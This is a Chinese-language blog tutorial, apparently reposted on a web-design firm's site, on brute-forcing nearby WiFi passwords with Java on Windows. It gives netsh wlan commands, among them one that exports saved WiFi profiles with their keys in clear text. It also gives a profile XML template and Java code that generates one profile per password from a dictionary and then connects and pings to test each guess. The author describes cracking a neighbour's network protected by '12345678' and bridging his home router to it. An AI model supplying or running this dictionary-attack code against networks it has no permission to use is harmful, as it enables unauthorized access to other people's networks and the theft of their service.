這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)碛嘘P(guān)使用Java怎么暴力破解WIFI密碼,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
成都創(chuàng)新互聯(lián)專注于網(wǎng)站建設(shè),為客戶提供成都做網(wǎng)站、成都網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計(jì)開發(fā)服務(wù),多年建網(wǎng)站服務(wù)經(jīng)驗(yàn),各類網(wǎng)站都可以開發(fā),品牌網(wǎng)站設(shè)計(jì),公司官網(wǎng),公司展示網(wǎng)站,網(wǎng)站設(shè)計(jì),建網(wǎng)站費(fèi)用,建網(wǎng)站多少錢,價(jià)格優(yōu)惠,收費(fèi)合理。
一、準(zhǔn)備工作
首先你得需要一臺(tái)能連wifi的電腦,
然后你的電腦得支持Java環(huán)境,
最后你周圍得有無線網(wǎng)絡(luò)。
ok,話不多說,說開擼,老夫就要開擼。于是網(wǎng)上找到了windows下cmd無線網(wǎng)絡(luò)操作的相關(guān)命令。如下:
// 列出所有可用wifi netsh wlan show networks mode=bssid // 添加配置文件 netsh wlan add profile filename=FILE_NAME // 連接wifi netsh wlan connect name=SSID_NAME // 導(dǎo)出配置文件 netsh wlan export profile key=clear // 列出配置文件 netsh wlan show profile // 刪除配置文件 netsh wlan delete profile name=FILE_NAME // 列出接口 netsh wlan show interface // 開啟接口 netsh interface set interface "Interface Name" enabled
首先需要寫配置文件,方便待會(huì)使用。首先我們可以看看配置文件張啥樣,導(dǎo)出配置文件看看就知道了。打開命令行,輸入這我這篇文章中,主要會(huì)用到前四個(gè)命令,其他的命令就當(dāng)給各位做拓展了。
netsh wlan export profile key=clear
就導(dǎo)出了配置文件,注意,這兒的配置文件默認(rèn)導(dǎo)出在cmd執(zhí)行的當(dāng)前路徑,如下,
我導(dǎo)出的文件就在 C:\Users\Admin 下面,可以看到文件都是wifi.xml方式。如 TP-LINK_5410.xml ,隨便打開一個(gè)我們可以看到xml文件的具體內(nèi)容,但是有一些內(nèi)容是我們不需要的,我們需要的是下面這個(gè)樣子
<?xml version="1.0"?> <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"> <name>SSID_NAME</name> <SSIDConfig> <SSID> <name>SSID_NAME</name> </SSID> </SSIDConfig> <connectionType>ESS</connectionType> <connectionMode>auto</connectionMode> <MSM> <security> <authEncryption> <authentication>AUTH_TYPE</authentication> <encryption>AES</encryption> <useOneX>false</useOneX> </authEncryption> <sharedKey> <keyType>passPhrase</keyType> <protected>false</protected> <keyMaterial>PASSWORD</keyMaterial> </sharedKey> </security> </MSM> <MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3"> <enableRandomization>false</enableRandomization> </MacRandomization> </WLANProfile>
二、掃描WIFI
其中 SSID_NAME 是待會(huì)我們會(huì)用到的wifi名稱, AUTH_TYPE 是wifi的加密方式, PASSWORD 是我們會(huì)暴力破解的密碼變量。
OK,背景交代得差不多了,可以開干了。首先掃描附近的WIFI,返回所有WIFI的信息,包括SSID、加密方式、信號(hào)強(qiáng)度(信號(hào)太弱的,我們就不進(jìn)行破解了,破解了也沒啥用)。掃描其實(shí)就是執(zhí)行一個(gè)CMD命令的問題,先封裝一個(gè)CMD執(zhí)行器吧。
/** * 執(zhí)行器 * * @param cmd CMD命令 * @param filePath 需要在哪個(gè)目錄下執(zhí)行 */ private static List<String> execute(String cmd, String filePath) { Process process = null; List<String> result = new ArrayList<String>(); try { if (filePath != null) { process = Runtime.getRuntime().exec(cmd, null, new File(filePath)); } else { process = Runtime.getRuntime().exec(cmd); } BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk")); String line = null; while ((line = bReader.readLine()) != null) { result.add(line); } } catch (IOException e) { e.printStackTrace(); } return result; }
/** * 列出所有信號(hào)較好的ssid * * @return 所有ssid */ public static List<Ssid> listSsid() { List<Ssid> ssidList = new ArrayList<Ssid>(); String cmd = Command.SHOW_NETWORKS; List<String> result = execute(cmd, null); if (result != null && result.size() > 0) { // todo 整合信息 } return ssidList; }
然后掃描周圍wifi信息,并返回相關(guān)信息
三、生成配置文件
OK,接下來我們就可以開始針對每個(gè)不同的SSID生成不同的配置文件了,生成文件整個(gè)過程就是根據(jù)每個(gè)不同的密碼生成一個(gè)配置文件。大概代碼如下
/** * 配置文件生成器 */ public class ProfileGenerator { private String ssid = null; private String passwrodPath = null; private ExecutorService threadPool = Executors.newFixedThreadPool(4); public ProfileGenerator(String ssid, String passwrodPath) { this.ssid = ssid; this.passwrodPath = passwrodPath; } /** * 生成配置文件 */ public void genProfile() { List<String> passwordList = null; int counter = 0; outer: while (true) { int start = counter * Connector.BATH_SIZE; int end = (counter + 1) * Connector.BATH_SIZE - 1; passwordList = FileUtils.readLine(passwrodPath, start, end); if (passwordList != null && passwordList.size() > 0) { // 生成配置文件 for (String password : passwordList) { GenThread genThread = new GenThread(ssid, password); threadPool.execute(genThread); } } else { break outer; } counter++; } } } class GenThread implements Runnable { private String ssid = null; private String password = null; GenThread(String ssid, String password) { this.ssid = ssid; this.password = password; } public void run() { String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid); profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password); FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent); } }
需要哪些密碼可以自己現(xiàn)在網(wǎng)上找一些字典來跑,建議順序是 常用弱口令 => 字典面 => 隨機(jī)密碼(到了隨機(jī)密碼這兒,意義也不大了)。這兒給出一個(gè)常見弱口令的下載連接。反正我只用這個(gè)弱口令破解過一個(gè)WIFI。這兒為了加快文件生成速度,我開啟了多線程。個(gè)人實(shí)際感受,如果只是幾千到幾萬個(gè)的話,其實(shí)多線程不多線程,并沒有多大區(qū)別,真正的區(qū)別在于后面嘗試連接的時(shí)候。
四、遍歷校驗(yàn)配置文件
接下來就是最耗時(shí)的一步了,一個(gè)個(gè)密碼去校驗(yàn)。關(guān)鍵代碼如下
/** * 校驗(yàn)WLAN配置文件是否正確 * <p> * 校驗(yàn)步驟為: * ---step1 添加配置文件 * ---step3 連接wifi * ---step3 ping校驗(yàn) */ public synchronized boolean check(String ssid, String password) { System.out.println("check : " + password); try { String profileName = password + ".xml"; if (addProfile(profileName)) { if (connect(ssid)) { Thread.sleep(50); if (ping()) { return true; } } } } catch (InterruptedException e) { e.printStackTrace(); } return false; } /** * 添加配置文件 * * @param profileName 添加配置文件 */ private static boolean addProfile(String profileName) { String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName); List<String> result = execute(cmd, Connector.PROFILE_TEMP_PATH); if (result != null && result.size() > 0) { if (result.get(0).contains("添加到接口")) { return true; } } return false; } /** * 連接wifi * * @param ssid 添加配置文件 */ private static boolean connect(String ssid) { boolean connected = false; String cmd = Command.CONNECT.replace("SSID_NAME", ssid); List<String> result = execute(cmd, null); if (result != null && result.size() > 0) { if (result.get(0).contains("已成功完成")) { connected = true; } } return connected; } /** * ping 校驗(yàn) */ private static boolean ping() { boolean pinged = false; String cmd = "ping " + Connector.PING_DOMAIN; List<String> result = execute(cmd, null); if (result != null && result.size() > 0) { for (String item : result) { if (item.contains("來自")) { pinged = true; break; } } } return pinged; }
兩點(diǎn)釋疑:
1. 為什么需要sleep(50)? 因?yàn)樵谶B接后,電腦沒有立即反應(yīng)過來,此時(shí)去ping的話,就算密碼正確,都會(huì)ping不成功。所以需要sleep。我破解的時(shí)候sleep(1000)的,還沒測試50行不行。
2. 為什么需要ping網(wǎng)站? 因?yàn)樵诘诙竭B接的時(shí)候,不管有沒有連接成功,都會(huì)出現(xiàn) ‘已成功完成xx連接' 的字樣。所以沒辦法,只有用ping來校驗(yàn),不過我相信一定能夠優(yōu)化的。
這一步我開啟了多線程,去驗(yàn)證,有人說為什么用多線程,明明驗(yàn)證方法都 synchronized 了,我想說的是,單線程的話,之間總會(huì)有間隙的,所以為了壓榨那一點(diǎn)點(diǎn)時(shí)間,我用了多線程。
五、連接成功
OK,至此,為師已將畢生功力傳授給你了,你出去就說是三年經(jīng)驗(yàn)了。呸,說錯(cuò)了,至此,整個(gè)流程大概就已經(jīng)出來了,接下來就run你的程序吧。等待密碼的破解。
我一共在我家周圍瞄上了三個(gè)信號(hào)看起來還可以的wifi。用這個(gè)程序跑了40多秒,開了一個(gè)wifi的密碼 12345678。耶成功了終于可以用了。
然后根據(jù)密碼,把自家路由器設(shè)置一個(gè)橋接模式。家里處處都有網(wǎng)了。
上述就是小編為大家分享的使用Java怎么暴力破解WIFI密碼了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
名稱欄目:使用Java怎么暴力破解WIFI密碼
瀏覽路徑:http://jinyejixie.com/article16/gpedgg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站制作、服務(wù)器托管、網(wǎng)頁設(shè)計(jì)公司、建站公司、網(wǎng)站維護(hù)、響應(yīng)式網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)